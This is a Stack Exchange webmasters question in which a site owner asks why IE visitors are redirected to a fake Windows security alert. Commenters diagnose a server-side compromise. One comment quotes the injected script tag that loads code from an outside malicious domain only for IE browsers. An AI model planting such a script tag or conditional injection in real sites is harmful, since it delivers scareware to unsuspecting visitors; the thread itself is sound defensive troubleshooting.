Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I have a website which is redirecting users to a fake windows security alert and I'm not to sure how to get rid of it. What's weird is that it's only happening in IE and that it seems to happen the first time visiting the site but then will not happen again (even after clearing cache and cookies).

This is what my site is being redirected to: http://assets.malwarehelp.org/blog/wp-content/uploads/2009/09/04.jpg

I've looked through the source and haven't found any injected scripts. I'm not too sure where to go from here. Any help is appreciated.

This is my site and the link which I was getting reports about: http://www.agendaprofile.com/skill-builder#16012ce4a0

share|improve this question
    
Are you running scripts from external pages? They may have been comprized. Who is serving your ads? –  Petey B Jul 11 '11 at 19:43
    
I don't have any third party scripts (other than the jquery core from google) and I'm using adsense to service my ads. –  Michael Jul 11 '11 at 21:17
    
So .. now it is all fine? –  LazyOne Jul 11 '11 at 21:57
    
@LazyOne No, I just replicated the behavior. @Michael: What's running your site? This type of thing is a relatively common WordPress exploit, but I can't immediately find evidence that's what you're using. Some more information about your system would let us give you more specific information. To start, though, search your theme files(whatever the CMS) for any unfamiliar code. Especially do a search for the term "eval" Also, check your CMS/app for any plugins you don't recall installing. –  Su' Jul 11 '11 at 22:41
2  
Somehow I missed that "IE" part in whole message. Any way -- it is definitely done on Server Side -- check your PHP code. This line gets added just before </body> tag: <script src="http://globalpoweringgathering.com/nl.php?p=1"></script>. It is only present if Browser string = IE (I have tried one for v9, 8 & 7 -- all have that line appeared). –  LazyOne Jul 12 '11 at 0:32
show 4 more comments

migrated from stackoverflow.com Jul 11 '11 at 20:30

This question came from our site for professional and enthusiast programmers.

closed as too localized by John Conde Aug 2 '11 at 18:57

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.If this question can be reworded to fit the rules in the help center, please edit the question.

Browse other questions tagged or ask your own question.